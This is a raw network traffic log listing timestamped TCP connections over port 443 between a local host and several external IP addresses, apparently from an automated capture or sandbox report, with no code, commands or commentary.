May 24, 2024 00:51:30.738945961 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:30.758639097 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.758826017 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.758861065 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.760718107 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.760765076 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.760799885 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.760808945 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.760837078 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.762939930 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.763297081 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.763305902 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.763351917 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.764401913 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.764458895 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.768104076 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.768162012 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.771548033 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.771605015 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.773436069 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.773498058 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.775062084 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.775115967 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.776735067 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.776782036 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.777762890 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.777821064 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.779733896 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.779787064 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.781361103 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.781419039 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.782926083 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.782994986 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783018112 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783039093 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783049107 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.783062935 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783082008 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783087015 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.783104897 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783123970 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783133984 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.783154011 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.783160925 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.783179998 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.783860922 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.783909082 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.785139084 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.785208941 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.827250004 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.827300072 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.827327967 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.827330112 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.827353954 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.827370882 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.827384949 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.827390909 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.827414989 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.835078955 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.835110903 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.835128069 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.835134983 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.835150003 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.835175037 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.835184097 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.835206985 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.846329927 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.846426964 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.847105980 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.847171068 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.848414898 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.848486900 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.849406004 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.849471092 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.850590944 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.850667953 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.852358103 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.852426052 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.853863955 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.853921890 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.854585886 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.854640007 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.855942965 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.856004953 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.856662989 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.856724977 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.856739044 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.856764078 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.856777906 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.856806040 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.910972118 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.911045074 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.911056042 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.911078930 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.911123037 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.915496111 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.915509939 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.915539980 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.915546894 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.915570974 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.915585041 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.915616035 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.918709040 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.918781042 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.918788910 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.918828964 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.918854952 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.918864965 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.918869972 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.918879032 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.918903112 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.930294991 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.953178883 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.953208923 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.953253984 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.953262091 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.953335047 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.954498053 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.957222939 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.957252979 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.958297968 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.958312988 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.968960047 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:30.968971014 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:30.969235897 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:30.973824024 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:30.997103930 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.997133970 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.997175932 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.997184992 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.997241974 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.000292063 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.000318050 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.000360966 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.000368118 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.000416040 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.000432014 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.003452063 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.003484011 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.003544092 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.003551960 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.003578901 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.003597975 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.006623030 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.006649017 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.006691933 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.006699085 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.006730080 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.006738901 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.009593964 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.009617090 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.009680033 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.009686947 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.009723902 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.012738943 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.012763023 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.012794971 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.012803078 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.012828112 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.012851954 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.014496088 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:31.039345980 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.039380074 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.039474964 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.039499998 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.039535046 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.043334961 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.043417931 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:31.043489933 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.043489933 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:31.166826963 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:31.166902065 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:31.166986942 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:32.477804899 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:32.839385033 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:32.839427948 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:32.839442015 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:32.839447975 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:32.842488050 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:32.842493057 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.048013926 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.048065901 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.048130989 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.048595905 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.048626900 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.671273947 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.681152105 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.681170940 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.682611942 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.683993101 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.684189081 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.684722900 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.730504990 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.932914019 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.932981014 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.933022976 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.933073997 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.933105946 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.933139086 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.933161974 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:35.933178902 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:35.933238983 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:36.220487118 CEST	49730	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:36.220519066 CEST	443	49730	149.154.167.99	192.168.2.5
May 24, 2024 00:51:36.318785906 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.318785906 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.318814993 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.318842888 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.318912983 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.318912983 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.321120024 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.321120024 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.321131945 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.321146965 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.813184977 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.813509941 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.813538074 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.813900948 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.824126959 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.824331045 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.824343920 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.829724073 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.881539106 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.899147987 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.899442911 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.899460077 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.899939060 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.900285006 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:36.900369883 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:36.960978031 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.044368982 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.045242071 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.046278000 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.046315908 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.046343088 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.046364069 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.046581030 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.049040079 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.050009012 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.050051928 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.050079107 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.050086021 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.050116062 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.050180912 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.050426006 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.054296017 CEST	49734	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.054316044 CEST	443	49734	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.289817095 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.314208031 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.314285040 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.314410925 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.314924002 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.314954042 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.334511042 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.487845898 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.488012075 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.488085985 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.493140936 CEST	49733	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:37.493160963 CEST	443	49733	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.694873095 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:37.694947004 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:37.695019007 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:37.826749086 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:37.971867085 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:38.009146929 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:38.009155035 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:38.009891033 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:38.068878889 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:38.069156885 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:38.071850061 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:38.114495039 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:38.192837000 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:38.192938089 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:38.192981958 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:38.574569941 CEST	49737	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:38.574606895 CEST	443	49737	172.66.45.18	192.168.2.5
May 24, 2024 00:51:39.266732931 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:39.266762018 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:41.379137039 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:41.379170895 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:41.379928112 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:41.390290976 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:41.390310049 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:41.904231071 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:41.962148905 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:42.445653915 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:42.445693970 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:42.446400881 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:42.446814060 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:42.446903944 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:42.447235107 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:42.494501114 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:42.604568005 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:42.604634047 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:42.604684114 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:42.607157946 CEST	49743	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:42.607182026 CEST	443	49743	172.66.46.238	192.168.2.5
May 24, 2024 00:51:57.703171015 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:57.703263044 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:57.703358889 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:57.703742981 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:57.703752995 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:51:57.703804970 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:57.704243898 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:57.704262018 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:51:57.704457045 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:57.704473019 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.709134102 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.709954977 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.709980011 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.711688995 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.711750031 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.716217041 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.716392994 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.716401100 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.716422081 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.772274971 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.772286892 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.773473024 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.773737907 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.773746014 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.775197029 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.775254965 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.775620937 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.775701046 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:51:58.872697115 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.872697115 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:58.872741938 CEST	443	49746	103.247.11.107	192.168.2.5
May 24, 2024 00:51:59.066751957 CEST	49746	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:59.545021057 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:59.591581106 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:59.591645002 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:59.593944073 CEST	49745	443	192.168.2.5	103.247.11.107
May 24, 2024 00:51:59.593977928 CEST	443	49745	103.247.11.107	192.168.2.5
May 24, 2024 00:51:59.797842026 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:51:59.797926903 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:51:59.798007965 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:51:59.798306942 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:51:59.798341036 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:00.752837896 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:00.757388115 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:00.757406950 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:00.758857012 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:00.759042978 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:00.759897947 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:00.759982109 CEST	443	49748	45.141.157.146	192.168.2.5
May 24, 2024 00:52:00.760234118 CEST	49748	443	192.168.2.5	45.141.157.146
May 24, 2024 00:52:00.760240078 CEST	443	49748	45.141.157.146	192.168.2.5
